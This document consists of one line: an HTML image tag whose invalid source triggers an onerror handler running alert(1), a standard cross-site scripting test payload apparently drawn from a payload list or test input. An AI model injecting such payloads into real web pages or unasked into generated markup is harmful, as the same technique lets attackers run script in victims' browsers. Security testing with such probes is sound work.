<img src=xx:x onerror=alert(1)>